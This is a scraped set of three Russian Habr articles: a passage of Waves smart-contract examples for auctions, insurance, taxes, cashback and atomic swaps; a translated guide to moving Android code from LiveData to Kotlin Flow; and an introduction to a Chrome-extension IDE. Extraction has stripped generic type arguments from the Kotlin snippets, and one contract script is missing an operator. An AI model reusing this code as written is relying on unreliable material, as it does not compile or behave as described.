let finishHeight = startHeight + 3000
let startPrice = 100000
#извлекаем из транзакции адрес отправителя
let this = extract(tx.sender)
let token = base58'8jfD2JBLe23XtCCSQoTx5eAW5QCU6Mbxi3r78aNQLcNf'
match tx {
case d : DataTransaction =>
#проверяем, задана ли в стейте цена
let currentPrice = if isDefined(getInteger(this, "price"))
#извлекаем цену из стейта
then extract(getInteger(this, "price"))
else startPrice
#извлекаем цену из транзакции
let newPrice = extract(getInteger(d.data, "price"))
#извлекаем из пруфов транзакции публичный ключ аккаунта
let pk = d.proofs[1]
let address = addressFromPublicKey(pk)
let priceIsBigger = newPrice > currentPrice
let fee = 700000
let hasMoney = wavesBalance(address) + fee >= newPrice
let correctFields = size(d.data) == 2
&& extract(getString(d.data, "sender")) == toBase58String(address.bytes)
startHeight <= height && height <= finishHeight
&& priceIsBigger && hasMoney && correctFields
&& sigVerify(tx.bodyBytes, tx.proofs[0], tx.proofs[1])
case o : Order =>
#извлекаем из пруфов транзакции публичный ключ аккаунта
let pk = o.proofs[1]
let address = addressFromPublicKey(pk)
let senderIsWinner = address == addressFromString(extract(getString(this, "sender")))
#убеждаемся, что лот обменивает тот, кто его выиграл
let correctAssetPair = o.assetPair.amountAsset == token && ! isDefined(o.assetPair.priceAsset)
let correctAmount = o.amount == 1
let correctPrice = o.price == extract(getInteger(this, "price"))
height > finishHeight && senderIsWinner && correctAssetPair && correctAmount && correctPrice && sigVerify(o.bodyBytes, o.proofs[0], o.proofs[1])
case _ => false
}
```
***2. Голландский аукцион снижающейся цены***
На голландском аукционе лот изначально предлагается по цене, превышающей ту, что покупатель готов заплатить. Цена пошагово снижается до тех пор, пока один из участников не согласится купить лот по текущей цене.
В этом примере мы используем те же константы, что и в предыдущем, а также шаг цены при понижении delta. Скрипт аккаунта проверяет, действительно ли участник является первым, кто сделал ставку. В пруфы транзакции необходимо добавить публичный ключ и подпись отправителя.В противном случае DataTransaction не принимается блокчейном.
```
let startHeight = 384120
let finishHeight = startHeight + 3000
let startPrice = 100000000
let delta = 100
#извлекаем из транзакции адрес отправителя
let this = extract(tx.sender)
let token = base58'8jfD2JBLe23XtCCSQoTx5eAW5QCU6Mbxi3r78aNQLcNf'
match tx {
case d : DataTransaction =>
let currentPrice = startPrice - delta * (height - startHeight)
#извлекаем из поступившей дата-транзакции поле "price"
let newPrice = extract(getInteger(d.data, "price"))
#извлекаем из пруфов транзакции публичный ключ аккаунта
let pk = d.proofs[1]
let address = addressFromPublicKey(pk)
let correctFields = extract(getString(d.data, "sender")) == toBase58String(address.bytes)
&& size(d.data) == 2 && newPrice == currentPrice
#убеждаемся, что в стейте текущего аккаунта не содержится поля "sender"
let noBetsBefore = !isDefined(getInteger(this, "sender"))
let fee = 700000
let hasMoney = wavesBalance(address) - fee >= newPrice
startHeight <= height && height <= finishHeight && noBetsBefore
&& hasMoney && correctFields && sigVerify(tx.bodyBytes, tx.proofs[0], tx.proofs[1])
case o : Order =>
#извлекаем из пруфов транзакции публичный ключ аккаунта
let pk = o.proofs[1]
let address = addressFromPublicKey(pk)
#убеждаемся, что отправитель текущей транзакции указан в стейте аккаунта по ключу sender
let senderIsWinner = address == addressFromString(extract(getString(this, "sender")))
#убеждаемся, что аmount ассета указан корректно, и что прайс-ассет - waves
let correctAssetPair = o.assetPair.amountAsset == token && ! isDefined(o.assetPair.priceAsset)
let correctAmount = o.amount == 1
let correctPrice = o.price == extract(getInteger(this, "price"))
height > finishHeight && senderIsWinner && correctAssetPair && correctAmount && correctPrice
&& sigVerify(o.bodyBytes, o.proofs[0], o.proofs[1])
case _ => false
}
```
***3. Аукцион «all-pay»***
«All-pay» – аукцион, все участники которого оплачивают ставку, платят, независимо от того, кто выигрывает лот. Каждый новый участник оплачивает ставку, а выигрывает лот участник, сделавший максимальную ставку.
В нашем примере каждый участник аукциона делает ставку через DataTransaction с (key, value)\* = («winner», address),(«price», price). Такая DataTransaction одобряется только в случае, если для этого участника уже имеется TransferTransaction с его подписью и его ставка выше всех предыдущих. Аукцион продолжается до достижения высоты endHeight.
```
let startHeight = 1000
let endHeight = 2000
let token = base58'8jfD2JBLe23XtCCSQoTx5eAW5QCU6Mbxi3r78aNQLcNf'
match tx {
case d: DataTransaction =>
#извлекаем из поступившей дата-транзакции поле "price"
let newPrice = extract(getInteger(d.data, "price"))
#извлекаем из пруфов транзакции публичный ключ аккаунта
let pk = d.proofs[1]
let address = addressFromPublicKey(pk)
#извлекаем транзакцию доказательство из пруфов поступившей дата транзакции
let proofTx = extract(transactionById(d.proofs[2]))
height > startHeight && height < endHeight
&& size(d.data) == 2
#убеждаемся, что адрес победителя, извлеченный из текущей транзакции, совпадает с адресом, извлеченным из пруфов
&& extract(getString(d.data, "winner")) == toBase58String(address.bytes)
&& newPrice > extract(getInteger(this, "price"))
#проверяем, что транзакция подписана
&& sigVerify(d.bodyBytes, d.proofs[0], d.proofs[1])
#проверяем корректность транзакции, указанной в пруфах
&& match proofTx {
case tr : TransferTransaction =>
tr.sender == address &&
tr.amount == newPrice
case _ => false
}
case t: TransferTransaction =>
sigVerify(tx.bodyBytes, tx.proofs[0], tx.senderPublicKey)
|| (
height > endHeight
&& extract(getString(this, "winner")) == toBase58String((addressFromRecipient(t.recipient)).bytes)
&& t.assetId == token
&& t.amount == 1
)
case _ => sigVerify(tx.bodyBytes, tx.proofs[0], tx.senderPublicKey)
}
```
**Страхование / Краудфандинг**
Рассмотрим ситуацию, когда нужно застраховать активы пользователей от финансовых потерь. Например, пользователь хочет получить гарантию, что в случае обесценивания токена он сможет вернуть полную сумму, уплаченную за эти токены, и готов заплатить разумную сумму страховки.
Для реализации этого нужно выпустить «страховые токены». Затем на аккаунт страхователя устанавливается скрипт, позволяющий исполнять только те ExchangeTransactions, которые удовлетворяют определенным условиям.
Чтобы предотвратить двойную трату, нужно запросить у пользователя заблаговременную отправку DataTransaction на аккаунт страхователя с (key, value) = (purchaseTransactionId, sellOrderId) и запретить отправку DataTransactions с уже использованным ключом.
Поэтому пруфы пользователя должны содержать ID транзакции покупки страхового токена. Валютная пара должна быть такой же, как и в транзакции покупки. Стоимость также должна быть равна той, что зафиксирована при покупке, за вычетом цены страховки.
Подразумевается, что впоследствии страховой аккаунт выкупает страховые токены у пользователя по цене не ниже той, по которой он их приобрел: страховой аккаунт создает ExchangeTransaction, пользователь подписывает ордер (если транзакция составлена корректно), страховой аккаунт подписывает второй ордер и всю транзакцию и отправляет в блокчейн.
Если покупки не происходит, пользователь может создать Order в соответствии с правилами, описанными в скрипте, и отправить транзакцию в блокчейн. Так пользователь может вернуть деньги, потраченные на покупку застрахованных токенов.
```
let insuranceToken = base58'8jfD2JBLe23XtCCSQoTx5eAW5QCU6Mbxi3r78aNQLcNf'
#извлекаем из транзакции адрес отправителя
let this = extract(tx.sender)
let freezePeriod = 150000
let insurancePrice = 10000
match tx {
#убеждаемся, что, если поступила дата-транзакция, то у нее ровно одно поле и в стейте еще нет такого ключа
case d : DataTransaction => size(d.data) == 1 && !isDefined(getBinary(this, d.data[0].key))
case o : Order =>
#если у транзакции нет седьмого пруфа, проверяем корректность подписи
if !isDefined(o.proofs[7]) then
sigVerify(o.bodyBytes, o.proofs[0], o.senderPublicKey)
else
#если у транзакции есть седьмой пруф, извлекаем из него транзакцию и узнаём её высоту
let purchaseTx = transactionById(o.proofs[7])
let purchaseTxHeight = extract(transactionHeightById(o.proofs[7]))
#обрабатываем транзакцию из пруфа
match purchaseTx {
case purchase : ExchangeTransaction =>
let correctSender = purchase.sender == o.sender
let correctAssetPair = o.assetPair.amountAsset == insuranceToken &&
purchase.sellOrder.assetPair.amountAsset == insuranceToken &&
o.assetPair.priceAsset == purchase.sellOrder.assetPair.priceAsset
let correctPrice = o.price == purchase.price - insurancePrice && o.amount == purchase.amount
let correctHeight = height > purchaseTxHeight + freezePeriod
#убеждаемся, что в транзакции-пруфе указан верный ID текущей транзакции
let correctProof = extract(getBinary(this, toBase58String(purchase.id))) == o.id
correctSender && correctAssetPair && correctPrice && correctHeight && correctProof
case _ => false
}
case _ => sigVerify(tx.bodyBytes, tx.proofs[0], tx.senderPublicKey)
}
```
Страховой токен можно сделать смарт-ассетом — например, чтобы запретить его передачу третьим лицам.
Эта схема может быть реализована и для токенов краудфандинга, которые возвращаются владельцам, если необходимая сумма не была собрана.
**Налоги с транзакций**
Смарт-контракты применимы и в случаях, когда надо собирать налог с каждой транзакции с несколькими типами активов. Это можно сделать через новый ассет с установленным [спонсорством](https://docs.wavesplatform.com/en/proposals/sponsored-transactions.html) для транзакций со смарт-ассетами:
1. Выпускаем FeeCoin, который будет отправлен пользователям по фиксированной цене: 0,01 WAVES = 0,001 FeeCoin.
2. Задаем спонсорство для FeeCoin и курс обмена: 0,001 WAVES = 0,001 FeeCoin.
3. Задаем следующий скрипт для смарт-ассета:
```
let feeAssetId = base58'8jfD2JBLe23XtCCSQoTx5eAW5QCU6Mbxi3r78aNQLcNf'
let taxDivisor = 10
match tx {
case t: TransferTransaction =>
t.feeAssetId == feeAssetId && t.fee == t.amount / taxDivisor
case e: ExchangeTransaction| MassTransferTransaction => false
case _ => true
}
```
Теперь каждый раз, когда кто-либо переводит N смарт-ассетов, он даст вам FeeCoin в сумме N / taxDivisor (который может быть куплен у вас по 10 \*N / taxDivisor WAVES), а вы отдадите майнеру N / taxDivisor WAVES. В результате ваша прибыль (налог) составит 9\*N / taxDivisor WAVES.
Также можно осуществлять налогообложение с помощью скрипта смарт-ассета и MassTransferTransaction:
```
let taxDivisor = 10
match tx {
case t : MassTransferTransaction =>
let twoTransfers = size(t.transfers) == 2
let issuerIsRecipient = t.transfers[0].recipient == addressFromString("3MgkTXzD72BTfYpd9UW42wdqTVg8HqnXEfc")
let taxesPaid = t.transfers[0].amount >= t.transfers[1].amount / taxDivisor
twoTransfers && issuerIsRecipient && taxesPaid
case _ => false
}
```
**Кэшбэк и программы лояльности**
Кэшбэк — тип программы лояльности, в котором покупателю возвращается часть суммы, потраченной на товар или услугу.
При реализации этого кейса с помощью смарт-аккаунта мы должны проверить пруфы так же, как делали это в кейсе страхования. Для предотвращения двойной траты перед получением кэшбэка пользователь должен отправить DataTransaction с (key, value) = (purchaseTransactionId, cashbackTransactionId).
Также мы должны установить запрет на уже существующие ключи с помощью DataTransaction. cashbackDivisor — единица, деленная на долю кэшбэка. Т.е. в случае, если доля кэшбека равна 0.1, то cashbackDivisor 1 / 0.1 = 10.
```
let cashbackToken = base58'8jfD2JBLe23XtCCSQoTx5eAW5QCU6Mbxi3r78aNQLcNf'
#извлекаем из транзакции адрес отправителя
let this = extract(tx.sender)
let cashbackDivisor = 10
match tx {
#убеждаемся, что, если поступила дата-транзакция, то у нее ровно одно поле и в стейте еще нет такого ключа
case d : DataTransaction => size(d.data) == 1 && !isDefined(getBinary(this, d.data[0].key))
case e : TransferTransaction =>
#если у транзакции нет седьмого пруфа, проверяем корректность подписи
if !isDefined(e.proofs[7]) then
sigVerify(e.bodyBytes, e.proofs[0], e.senderPublicKey)
else
#если у транзакции есть седьмой пруф, извлекаем из него транзакцию и узнаём её высоту
let purchaseTx = transactionById(e.proofs[7])
let purchaseTxHeight = extract(transactionHeightById(e.proofs[7]))
#обрабатываем транзакцию из пруфа
match purchaseTx {
case purchase : TransferTransaction =>
let correctSender = purchase.sender == e.sender
let correctAsset = e.assetId == cashbackToken
let correctPrice = e.amount == purchase.amount / cashbackDivisor
#убеждаемся, что в транзакции-пруфе указан верный ID текущей транзакции
let correctProof = extract(getBinary(this, toBase58String(purchase.id))) == e.id
correctSender && correctAsset && correctPrice && correctProof
case _ => false
}
case _ => sigVerify(tx.bodyBytes, tx.proofs[0], tx.senderPublicKey)
}
```
**Атомарный своп**
Атомарный своп позволяет пользователям обмениваться ассетами без помощи биржи. При атомарном свопе от обоих участников сделки требуется ее подтверждение в течение определенного промежутка времени.
Если хотя бы один из участников не предоставляет корректного подтверждения транзакции в течение отведенного на сделку времени, транзакция отменяется и обмена не происходит.
В нашем примере мы будем использовать такой скрипт смарт-аккаунта:
```
let Bob = Address(base58'3NBVqYXrapgJP9atQccdBPAgJPwHDKkh6A8')
let Alice = Address(base58'3PNX6XwMeEXaaP1rf5MCk8weYeF7z2vJZBg')
let beforeHeight = 100000
let secret = base58'BN6RTYGWcwektQfSFzH8raYo9awaLgQ7pLyWLQY4S4F5'
match tx {
case t: TransferTransaction =>
let txToBob = t.recipient == Bob && sha256(t.proofs[0]) == secret && 20 + beforeHeight >= height
let backToAliceAfterHeight = height >= 21 + beforeHeight && t.recipient == Alice
txToBob || backToAliceAfterHeight
case _ => false
}
```
*В следующей статье мы рассмотрим применение смарт-аккаунтов в финансовых инструментах – таких, как опционы, фьючерсы и векселя.* | https://habr.com/ru/post/442238/ | null | ru | null |
# Миграция с LiveData на Kotlin’s Flow
LiveData была нужна нам еще в 2017 году. Паттерн наблюдателя облегчил нам жизнь, но такие опции, как RxJava, в то время были слишком сложными для новичков. Команда Architecture Components создала LiveData: очень авторитетный класс наблюдаемых хранилищ данных, разработанный для Android. Он был простым, чтобы облегчить начало работы, а для более сложных случаев реактивных потоков рекомендовалось использовать RxJava, используя преимущества интеграции между ними.
### DeadData?
LiveData по-прежнему остается нашим решением для Java-разработчиков, новичков и простых ситуаций. В остальном, хорошим вариантом является переход на Kotlin Flows. Flows (потоки) все еще имеют крутую кривую обучения, но они являются частью языка Kotlin, поддерживаемого Jetbrains; кроме того, на подходе Compose, который хорошо сочетается с реактивной моделью.
Мы уже [говорили об использовании](https://medium.com/androiddevelopers/lessons-learnt-using-coroutines-flow-4a6b285c0d06) Flows для соединения различных частей вашего приложения, за исключением представления и ViewModel. Теперь, когда у нас есть более [безопасный способ сбора потоков из пользовательских интерфейсов Android](https://medium.com/androiddevelopers/a-safer-way-to-collect-flows-from-android-uis-23080b1f8bda), мы можем создать полное руководство по миграции.
В этом посте вы узнаете, как отобразить Flows в представление, как собирать их, и как точно настроить под конкретные нужды.
### Flow: простые вещи труднее, а сложные — легче
LiveData выполняла одну вещь и делала это хорошо: [она показывала данные, одновременно кэшируя последние значения](https://medium.com/androiddevelopers/livedata-with-coroutines-and-flow-part-i-reactive-uis-b20f676d25d7) и учитывая жизненные циклы Android. Позже мы узнали, что она также может [запускать корутины](https://medium.com/androiddevelopers/livedata-with-coroutines-and-flow-part-ii-launching-coroutines-with-architecture-components-337909f37ae7) и [создавать сложные преобразования](https://medium.com/androiddevelopers/livedata-beyond-the-viewmodel-reactive-patterns-using-transformations-and-mediatorlivedata-fda520ba00b7#:~:text=The%20observable%20paradigm%20works%20really,take%20advantage%20of%20lifecycle%20awareness.&text=Observe%20changes%20in%20SharedPreferences,document%20or%20collection%20in%20Firestore), но это требовало немного больше усилий.
Давайте рассмотрим некоторые паттерны LiveData и их эквиваленты Flow:
#### #1: Показ результата однократной операции с модифицированным держателем данных
Это классический паттерн, в котором вы мутируете держатель состояния с результатом выполнения корутины:
Показ результата однократной операции с модифицированным (Mutable) держателем данных (LiveData)
```
class MyViewModel {
private val _myUiState = MutableLiveData>(Result.Loading)
val myUiState: LiveData> = \_myUiState
// Load data from a suspend fun and mutate state
init {
viewModelScope.launch {
val result = ...
\_myUiState.value = result
}
}
}
```
Чтобы сделать то же самое с потоками, мы используем модифицированный StateFlow:
Показ результата однократной операции с модифицированным держателем данных (StateFlow)
```
class MyViewModel {
private val _myUiState = MutableStateFlow>(Result.Loading)
val myUiState: StateFlow> = \_myUiState
// Load data from a suspend fun and mutate state
init {
viewModelScope.launch {
val result = ...
\_myUiState.value = result
}
}
}
```
[StateFlow](https://developer.android.com/kotlin/flow/stateflow-and-sharedflow#stateflow) — это особый вид [SharedFlow](https://developer.android.com/kotlin/flow/stateflow-and-sharedflow#sharedflow) (который является особым типом Flow), наиболее близкий к LiveData:
* У него всегда есть значение.
* У него только одно значение.
* Он поддерживает несколько наблюдателей (поэтому поток является общим).
* Он всегда воспроизводит последнее значение при подписке, независимо от количества активных наблюдателей.
> При отображении состояния пользовательского интерфейса для представления используйте StateFlow. Это безопасный и эффективный наблюдатель, предназначенный для хранения состояния пользовательского интерфейса.
>
>
#### #2: Показ результата однократной операции
Это эквивалент предыдущего сниппета, демонстрирующий результат вызова корутины без модифицированного теневого свойства.
В LiveData мы использовали для этого конструктор корутин [liveData](https://developer.android.com/topic/libraries/architecture/coroutines#livedata):
Показ результата однократной операции (LiveData)
```
class MyViewModel(...) : ViewModel() {
val result: LiveData> = liveData {
emit(Result.Loading)
emit(repository.fetchItem())
}
}
```
Поскольку держатели состояния всегда имеют значение, хорошей идеей будет обернуть наше UI-состояние в какой-нибудь класс `Result`, который поддерживает такие состояния, как `Loading`, `Success` и `Error`.
Эквивалент Flow немного сложнее, потому что вам придется выполнить некоторую *настройку*:
Показ результата однократной операции (StateFlow)
```
class MyViewModel(...) : ViewModel() {
val result: StateFlow> = flow {
emit(repository.fetchItem())
}.stateIn(
scope = viewModelScope,
started = WhileSubscribed(5000), // Or Lazily because it's a one-shot
initialValue = Result.Loading
)
}
```
`stateIn` — это оператор Flow, который преобразует его в `StateFlow`. Давайте пока доверимся этим параметрам, так как позже нам понадобится более сложная информация для правильного объяснения.
#### #3: Однократная загрузка данных с параметрами
Допустим, вы хотите загрузить некоторые данные, которые зависят от ID пользователя, и вы получаете эту информацию от `AuthManager`, который показывает Flow:
Однократная загрузка данных с параметрами (LiveData)С помощью LiveData можно сделать примерно следующее:
```
class MyViewModel(authManager..., repository...) : ViewModel() {
private val userId: LiveData =
authManager.observeUser().map { user -> user.id }.asLiveData()
val result: LiveData> = userId.switchMap { newUserId ->
liveData { emit(repository.fetchItem(newUserId)) }
}
}
```
`switchMap` — это преобразование, тело которого выполняется, а результат подписывается при изменении `userId`.
Если нет причин для того, чтобы `userId` был LiveData, лучшей альтернативой этому является объединение потоков с Flow и окончательное преобразование полученного результата в LiveData.
```
class MyViewModel(authManager..., repository...) : ViewModel() {
private val userId: Flow = authManager.observeUser().map { user -> user.id }
val result: LiveData> = userId.mapLatest { newUserId ->
repository.fetchItem(newUserId)
}.asLiveData()
}
```
Выполнение этого действия с помощью Flows выглядит очень похоже:
Однократная загрузка данных с параметрами (StateFlow)
```
class MyViewModel(authManager..., repository...) : ViewModel() {
private val userId: Flow = authManager.observeUser().map { user -> user.id }
val result: StateFlow> = userId.mapLatest { newUserId ->
repository.fetchItem(newUserId)
}.stateIn(
scope = viewModelScope,
started = WhileSubscribed(5000),
initialValue = Result.Loading
)
}
```
Обратите внимание, что если вам нужна большая гибкость, вы также можете использовать `transformLatest` и `emit` элементы в явном виде:
```
val result = userId.transformLatest { newUserId ->
emit(Result.LoadingData)
emit(repository.fetchItem(newUserId))
}.stateIn(
scope = viewModelScope,
started = WhileSubscribed(5000),
initialValue = Result.LoadingUser // Note the different Loading states
)
```
#### #4: Наблюдение за потоком данных с параметрами
Теперь сделаем пример более *реактивным*. Данные не извлекаются, а наблюдаются, поэтому мы автоматически распространяем изменения в источнике данных на пользовательский интерфейс.
Продолжая наш пример: вместо вызова `fetchItem` на источнике данных мы используем гипотетический оператор `observeItem`, который возвращает Flow.
С помощью LiveData вы можете преобразовать поток в LiveData и все обновления `emitSource`:
Наблюдение за потоком с параметрами (LiveData)
```
class MyViewModel(authManager..., repository...) : ViewModel() {
private val userId: LiveData =
authManager.observeUser().map { user -> user.id }.asLiveData()
val result = userId.switchMap { newUserId ->
repository.observeItem(newUserId).asLiveData()
}
}
```
Или, лучше всего, объединить оба потока с помощью [flatMapLatest](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.flow/flat-map-latest.html) и преобразовать только выход в LiveData:
```
class MyViewModel(authManager..., repository...) : ViewModel() {
private val userId: Flow =
authManager.observeUser().map { user -> user?.id }
val result: LiveData> = userId.flatMapLatest { newUserId ->
repository.observeItem(newUserId)
}.asLiveData()
}
```
Имплементация Flow похожа, но в ней нет преобразований LiveData:
Наблюдение за потоком с параметрами (StateFlow)
```
class MyViewModel(authManager..., repository...) : ViewModel() {
private val userId: Flow =
authManager.observeUser().map { user -> user?.id }
val result: StateFlow> = userId.flatMapLatest { newUserId ->
repository.observeItem(newUserId)
}.stateIn(
scope = viewModelScope,
started = WhileSubscribed(5000),
initialValue = Result.LoadingUser
)
}
```
StateFlow будет получать обновления каждый раз, когда меняется пользователь или изменяются его данные в репозитории.
#### #5 Объединение нескольких источников: MediatorLiveData -> Flow.combine
MediatorLiveData позволяет вам наблюдать за одним или несколькими источниками обновлений (наблюдаемыми LiveData) и что-то делать, когда они получают новые данные. Обычно вы обновляете значение MediatorLiveData:
```
val liveData1: LiveData = ...
val liveData2: LiveData = ...
val result = MediatorLiveData()
result.addSource(liveData1) { value ->
result.setValue(liveData1.value ?: 0 + (liveData2.value ?: 0))
}
result.addSource(liveData2) { value ->
result.setValue(liveData1.value ?: 0 + (liveData2.value ?: 0))
}
```
Эквивалент Flow намного проще:
```
val flow1: Flow = ...
val flow2: Flow = ...
val result = combine(flow1, flow2) { a, b -> a + b }
```
Можно также использовать функцию [combineTransform](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.flow/combine-transform.html) или [zip](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.flow/zip.html).
### Настройка открытого StateFlow (оператор stateIn)
Ранее мы использовали `stateIn` для преобразования регулярного потока в StateFlow, но это требует некоторой настройки. Если вы не хотите вдаваться в подробности прямо сейчас и вам просто нужно копировать-вставлять, я рекомендую использовать эту комбинацию:
```
val result: StateFlow> = someFlow
.stateIn(
scope = viewModelScope,
started = WhileSubscribed(5000),
initialValue = Result.Loading
)
```
Однако если вы не уверены в этом, казалось бы, случайном 5-секундном параметре `started`, читайте дальше.
`StateIn` имеет 3 параметра (из документации):
```
@param scope the coroutine scope in which sharing is started.
@param started the strategy that controls when sharing is started and stopped.
@param initialValue the initial value of the state flow.
This value is also used when the state flow is reset using the [SharingStarted.WhileSubscribed] strategy with the `replayExpirationMillis` parameter.
```
`started` может принимать 3 значения:
* `Lazily`: начать, когда появится первый подписчик, и остановить, когда scope будет отменен.
* `Eagerly`: начать немедленно и остановить, когда scope будет отменен.
* `WhileSubscribed`: *Это сложно*.
Для одноразовых операций вы можете использовать `Lazily` или `Eagerly`. Однако, если вы наблюдаете за другими потоками, вам следует использовать `WhileSubscribed` для выполнения небольших, но важных оптимизаций, как описано ниже.
### Стратегия WhileSubscribed
WhileSubscribed отменяет *восходящий поток*, когда нет коллекторов. StateFlow, созданный с помощью `stateIn`, передает данные в View, но он также наблюдает за потоками, поступающими из других слоев или приложения (восходящий поток). Поддержание этих потоков активными может привести к напрасной трате ресурсов, например, если они продолжают считывать данные из других источников, таких как подключение к базе данных, аппаратные датчики и т.д. Когда ваше приложение переходит в фоновый режим, будет хорошо, если вы остановите эти корутины.
`WhileSubscribed` принимает два параметра:
```
public fun WhileSubscribed(
stopTimeoutMillis: Long = 0,
replayExpirationMillis: Long = Long.MAX_VALUE
)
```
#### Таймаут остановки
Из документации:
> `stopTimeoutMillis` настраивает задержку (в миллисекундах) между исчезновением последнего абонента и остановкой восходящего потока. По умолчанию она равна нулю (остановка происходит немедленно).
>
>
Это полезно, поскольку вы не хотите отменять восходящие потоки, если представление перестало воспринимать данные на долю секунды. Это происходит постоянно — например, когда пользователь поворачивает устройство и представление разрушается и воссоздается в быстрой последовательности.
Решение в конструкторе корутины liveData заключалось в [добавлении задержки](https://cs.android.com/androidx/platform/frameworks/support/+/androidx-main:lifecycle/lifecycle-livedata-ktx/src/main/java/androidx/lifecycle/CoroutineLiveData.kt;l=356) в 5 секунд, после которой корутина будет остановлена, если нет подписчиков. `WhileSubscribed(5000)` делает именно это:
```
class MyViewModel(...) : ViewModel() {
val result = userId.mapLatest { newUserId ->
repository.observeItem(newUserId)
}.stateIn(
scope = viewModelScope,
started = WhileSubscribed(5000),
initialValue = Result.Loading
)
}
```
Этот подход отвечает всем требованиям:
* Когда пользователь отправляет ваше приложение в фоновый режим, обновления, поступающие с других уровней, прекращаются через пять секунд, что позволяет экономить заряд батареи.
* Последнее значение все еще будет кэшироваться, чтобы, когда пользователь вернется к нему, представление сразу же получило данные.
* Подписки перезапускаются, и новые значения будут поступать, обновляя экран, когда они доступны.
#### Истечение срока воспроизведения
> `replayExpirationMillis` — настраивает задержку (в миллисекундах) между завершением работы программы совместного доступа и сбросом кэша воспроизведения (что делает кэш пустым для оператора `shareIn` и возвращает кэшированное значение к исходному `initialValue` для `stateIn`). По умолчанию он равен `Long.MAX_VALUE` (кэш воспроизведения сохраняется постоянно, буфер никогда не сбрасывается). Используйте нулевое значение для немедленного истечения срока действия кэша.
>
>
### Наблюдение StateFlow из представления
Как мы уже видели, для представления очень важно сообщить StateFlows во ViewModel, что они больше не прослушиваются. Однако, как и во всем, что связано с жизненными циклами, все не так просто.
Для того чтобы собрать поток, вам нужна корутина. Действия и фрагменты предлагают множество конструкторов корутин:
* `Activity.lifecycleScope.launch`: запускает корутину немедленно и отменяет ее при завершении активности.
* `Fragment.lifecycleScope.launch`: немедленно запускает корутину и отменяет ее при завершении фрагмента.
### LaunchWhenStarted, launchWhenResumed...
Специализированные версии launch, называемые `launchWhenX`, будут ждать, пока `lifecycleOwner` находится в состоянии X, и приостановят выполнение корутины, когда `lifecycleOwner` упадет ниже состояния X. Важно отметить, что они не отменяют выполнение программы до тех пор, пока жизненный цикл не будет закончен.
Сбор потоков с помощью launch/launchWhenX небезопасенПолучение обновлений, когда приложение находится в фоновом режиме, может привести к сбоям, что решается приостановкой сбора в View. Однако восходящие потоки остаются активными, пока приложение находится в фоновом режиме, что может привести к трате ресурсов.
Это означает, что все, что мы делали до сих пор для настройки StateFlow, было бы совершенно бесполезно; однако в нашем распоряжении есть новый API.
### lifecycle.repeatOnLifecycle на помощь
Этот новый конструктор корутин (доступный в [lifecycle-runtime-ktx 2.4.0-alpha01](https://developer.android.com/jetpack/androidx/releases/lifecycle#2.4.0-alpha01)) делает именно то, что нам нужно: он запускает корутины в определенном состоянии и останавливает их, когда уровень жизненного цикла опускается ниже этого состояния.
Различные методы сбора потокаНапример, во Фрагменте:
```
onCreateView(...) {
viewLifecycleOwner.lifecycleScope.launch {
viewLifecycleOwner.lifecycle.repeatOnLifecycle(STARTED) {
myViewModel.myUiState.collect { ... }
}
}
}
```
Сбор начнется, когда представление фрагмента будет `STARTED`, продолжится до `RESUMED` и остановится, когда оно вернется к `STOPPED`. Читайте об этом в статье [Более безопасный способ сбора потоков из пользовательских интерфейсов Android](https://medium.com/androiddevelopers/a-safer-way-to-collect-flows-from-android-uis-23080b1f8bda).
Сочетание API `repeatOnLifecycle` с приведенным выше руководством по StateFlow обеспечит вам наилучшую производительность при рациональном использовании ресурсов устройства.
StateFlow выставляется с помощью WhileSubscribed(5000) и собирается с помощью repeatOnLifecycle(STARTED)
> Предупреждение: [Поддержка StateFlow, недавно добавленная в **Data Binding**](https://developer.android.com/topic/libraries/data-binding/observability#stateflow), использует `launchWhenCreated` для сбора обновлений, и она начнет использовать `repeatOnLifecycle`` вместо этого, когда достигнет стабильности.
>
> Для **Data Binding** вы должны использовать Flows везде и просто добавить `asLiveData()`, чтобы отобразить их в представлении. Привязка данных будет обновлена, когда `lifecycle-runtime-ktx 2.4.0` станет стабильным.
>
>
### Резюме
Лучшим способом предоставления данных из ViewModel и сбора их из представления является:
* Выставить `StateFlow`, используя стратегию `WhileSubscribed`, с таймаутом. [[пример](https://gist.github.com/JoseAlcerreca/4eb0be817d8f94880dab279d1c27a4af)]
* Собирать с помощью `repeatOnLifecycle`. [[пример](https://gist.github.com/JoseAlcerreca/6e2620b5615425a516635744ba59892e)].
Любая другая комбинация будет поддерживать восходящие потоки активными, расходуя ресурсы:
---
> Перевод материала подготовлен в рамках курса [**"Android Developer. Basic"**](https://otus.pw/WX7O/). Если вам интересно узнать о курсе больше, приходите на [день открытых дверей](https://otus.pw/QfLu/) онлайн. На нем вы сможете узнать подробнее о программе и формате обучения, познакомиться с преподавателем.
>
> | https://habr.com/ru/post/561700/ | null | ru | null |
# Xpom-Xpum! SDK — IDE для расширений и приложений Google Chrome
#### Что это такое?
[Xpom Xpum! SDK](http://xpomxpum.codeplex.com/) — это бесплатная IDE с открытым исходным кодом на C# (лицензия — MIT). Назначение — писать всякие-разные расширения и приложения для браузеров на основе Chromium.
#### Как пользоваться?
Итак, вы скачали [последний релиз Xpom-Xpum! SDK](http://xpomxpum.codeplex.com/releases/) (на момент написания статьи — Alpha) и убедились в наличии установленного .NET Framework 4.
Перед вами — окошко IDE.
Прежде всего, как и во многих других IDE, вам нужно создать проект:
1. Щелкаете **Файл > Создать**.
2. Выбираете тип вашего проекта — «Расширение Chrome». Вводите некое имя проекта. Поскольку будет создана папка с именем проекта, то имя не должно содержать этих символов: **\ /? " < >**.
Запоминаете Папку Проекта. Это папка, в которой будут файлы нашего расширения.
3. В обозревателе проекта (слева) появляется файл Manifest.json. Дважды щелкаете его — и видите его текст такого содержания:
```
{
"manifest_version": 2,
"name": "Проект1",
"version": "1.0.0.0"
}
```
Этого файла достаточно, чтобы можно было установить пробное расширение в Chrome (хотя через меню Проект можно добавить еще файлы и папки, например, с иконками, фоновым скриптом или контент-скриптами).
4. Нажимаете кнопку «Run» на панели инструментов.
Xpom-Xpum! запускает экземпляр Google Chrome с установленным расширением. Вы можете увидеть ваше расширение, если зайдете по ссылке chrome://extensions.
Если браузер уже запущен, то расширение просто устанавливается в его текущий экземпляр.
5. Чтобы сделать расширение запускаемым вне Xpom-Xpum, вы можете его упаковать в CRX (но в новом Chromium и всех браузерах на его основе установка таких расширений запрещена!) или просто загрузить в режиме разработчика в браузер, указав Папку Проекта.
